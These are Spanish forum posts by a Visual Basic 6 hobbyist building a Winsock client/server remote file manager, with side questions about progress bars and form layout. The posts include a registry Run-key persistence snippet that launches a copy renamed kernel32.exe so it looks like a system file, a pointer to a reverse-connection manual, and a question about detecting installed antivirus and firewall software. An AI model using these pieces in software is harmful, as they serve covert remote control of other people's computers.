Mensajes

   Vamos a ver, buscando y buscando como hacer un file manager con mis pocos conocimientos de vb, al final lo hice como pone en el manual de Xenon, la explicacion de Scugat creo qe es.
   Al cargar un formulario, aparecen las particiones de la maqina remota en un listbox directamente y luego al hacre doble click deberia ir explorando el disco, pero siempre qe hago doble click en alguna particion, o en a: sin diskette,o en el lector de cds sin cd me sale lo mismo, la lista de archivos de la ruta donde se ejecuta el server (filelistbox). Bueno, pues aqi os dejo los codigos por si alguien me puede ayudar:
Server:

Código [Seleccionar] Expandir


dim datos as integer
Private Sub WS_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
ws.GetData datos
If Left(datos, 6) = "\rutad" Then Call rutad(Mid(datos, 7))
End Sub

'Me parece qe esto no es necesario, pero ya no se qe probar
Private Sub Dir1_Change()
On Error Resume Next
File1.path = Dir1.path
End Sub
Private Sub Drive1_Change()
On Error Resume Next
Dir1.path = Drive1.Drive
End Sub

Public Function rutad(ruta As String)
On Error Resume Next
If ruta = "" Then 'Si enviamos "" vemos particiones
Dim i As Integer
For i = 0 To Drive1.ListCount - 1
ws.SendData "\list" & Drive1.List(i) & "\" 'enviamos "\list" y la ruta de todos los drive
Call Sleep(250)  'La funcion de sleep funciona perfectamente (Por si ay dudas)
Next
Else
Dir1.path = ruta
For i = 0 To Dir1.ListCount - 1
'=
ws.SendData "\list" & Form1.Dir1.List(i) & "\"
Call Sleep(250)
Next
File1.path = ruta
For i = 0 To File1.ListCount - 1
ws.SendData "\list" & File1.path & File1.List(i)
Call Sleep(250)
Next
End If
Exit Function
End Function


Cliente:

Código [Seleccionar] Expandir


Private Sub form_load()
ws.SendData  "\rutad" & ""
End Sub
Private Sub List1_DblClick()
If FormTrans.List1.Text = ".." Then 'Vuelve a las particiones
ws.SendData "\rutad" & ""
List1.Clear
Else
FormTrans.MnuMngrVer_click
End If
End Sub
Public Sub MnuMngrVer_click()
ws.SendData "\rutad" & List1.Text
Text1.Text = List1.Text
List1.Clear
List1.AddItem ".."
End Sub
Private Sub WS_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim datos As String
ws.GetData datos
If Mid(datos, 1, 5) = "\list" Then List1.AddItem (Mid(datos, 6))
End Sub

Bueno, pues a ver si encontrais el error, porqe yo ya me estoi volviendo loco

   Muchiiiiiisimas gracias a todos, me estais ayudando un puñao, en serio, gracias

  El qe ha captado mi idea y ha dao una buena respuesta respuesta ha sido NYlon, pero la pega qe teine es qe un frame no se puede hacer transparente como un label (Backstyle= transparent), por tanto tampoco me sirve.
  He probao a ponerle Label1.ZOrder (0), pero no se puede, da error...
   Parece mentira qe no pueda hacer la chorrada esta, pero bueno gracias por las respuestas aver si dan alguna mas y soluciono el problema definitivamente

Gracias

Código [Seleccionar] Expandir

Private sub Form_Load()
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "NombreParaGuardarEnElRegistro", "C:\Windows\System32\kernel32.exe"
End sub

   Esto es suponindo qe hallas copiado previamente tu aplicacion al directorio del sistema, en este caso con el nombre de kernel32.exe, sino cambia la ruta por la ruta donde se encuentre el archivo (Apppath)

Saludos

http://foro.elhacker.net/index.php/topic,57545.0.html

Muy buen manual, entero y sencillo, no necesitas abrir puertos ni hacer nada raro, solo conexion inversa

Saludos

   No si el % ya lo tengo, y lo muestro en un label, en mi caso la barra indica el progreso de transferencia de un archivo, el codigo del % es muy simple:

Código [Seleccionar] Expandir

Private Sub Timer1_Timer()
Label1.Caption = pb.Value * 100 \ pb.Max & " %"
End Sub
   Pero ahora lo qe qiero es mostrar ese label justo en medio y delante del pb, pero si lo arrastras se pone detras de este. Alguna idea???

   Wolas a todos, tenia algunas dudas con mi progress bar,
   1º- No estoi seguro pero creo recordar qe hace tiempo hize una progressbar plana, es decirsin las rayas blancas qe van saliendo intermediamente, y creo qe lo hice desde las propiedades, cosa qe no encuenrto ahora, Sabeis como hacerlo?
   2º Tengo un label qe me muesra el % de la barra, y necesariamente tiene qe estar sobre esta, pero al arrastrarlo siempre qeda debajo de la barra y no se ve, Alguna idea para sobreponerlo? (He hecho drag & drop seleccionando la progressbar pero se sigue pegando en el formulario...)

Saludos

   paint? nose, ami eso no me suena, yo lo qe hago es resizearlas dependiendo del tamaño, por ejemplo

Código [Seleccionar] Expandir

private sub form resize
text1.top = form1.height - 4315
end sub

Asi la caja la tendrias siempre 4315 puntos mas altos qe el fin del formulario, por ejemplo, o le pones un top fijo, asi siempre la tendrias a la misma distancia del top del formulario, y para moverla hacia los laos, tambien tienes qe hacer esto, con left y weight.
   Tambien tienes qe agrandar y disminuir el tamaño de todos tus objetos, ej. text1.height = form1.height -255, asi siempre qe el formulario cambie de tamaño la caja de texto llegara casi al final del formulario.

Saludos

   Ok, gracias por sus respuestas los codigos me van de lujo 

- La fecha de la primera ejecucion del programa

A menos que la guardes en archivo/registro no se sabe, windows no guarda esa informacion, al menos que yo sepa.

Lo qe hare sera crear una entrada de registro, y qe cuando exixta no la sobreescriba y ala, pero puede qe Windows si qe guarde esa informacion, ya qe al menos si qe guarda la fecha de ultima ejecucion del programa. (Agregar o qitar programas/ordenar por fecha de ultimo uso)

Saludos

   Pues estaba buscando los codigos para conocer:

- El tiempo qe lleva la pc encendida
- La fecha de la primera ejecucion del programa
- El windows (XP, 98, me...) de un modo fiable (supongo qe sera desde el registro
- El antivirus
- El firewall


   En las tres ultimas, he pensado ir instalando los prductos uno a uno (norton, nod, kav, antivir, panda...) y leer una clave del registro especifica de cada programa, pero no creo qe ese sea el mejor modo. Saludos y gracias adelantadas

PD: Es posible mover un formulario qe tenga la propiedad borderStyle a 0 (none)? Usando un label o line en lugar de la barra azul de arriba, qe no se pueda mover desde cualqier parte del formulario.

no entiendo xq pones "txt1"

Private Sub command1_click
ws.SendData "txt1" & Text1.Text
End Sub

xq no pones solo

Private Sub command1_click
ws.SendData  Text1.Text
End Sub

:S:S

Porqe asi, en la llegada de dats al servidor, se revisan los 4 primeros caracteres de la cadena de texto, y si esos caracteres son txt1, pues el texto se muestra en el text1, y si son txt2, se muestra en el text2. Si lo hiciera como tu dices tendria qe mandar txt1 o txt2 antes de escribir cada frase, porqe si no, no se veria.

   Gracias por las respuestas, lo he solucionado como ha dicho Hendrix.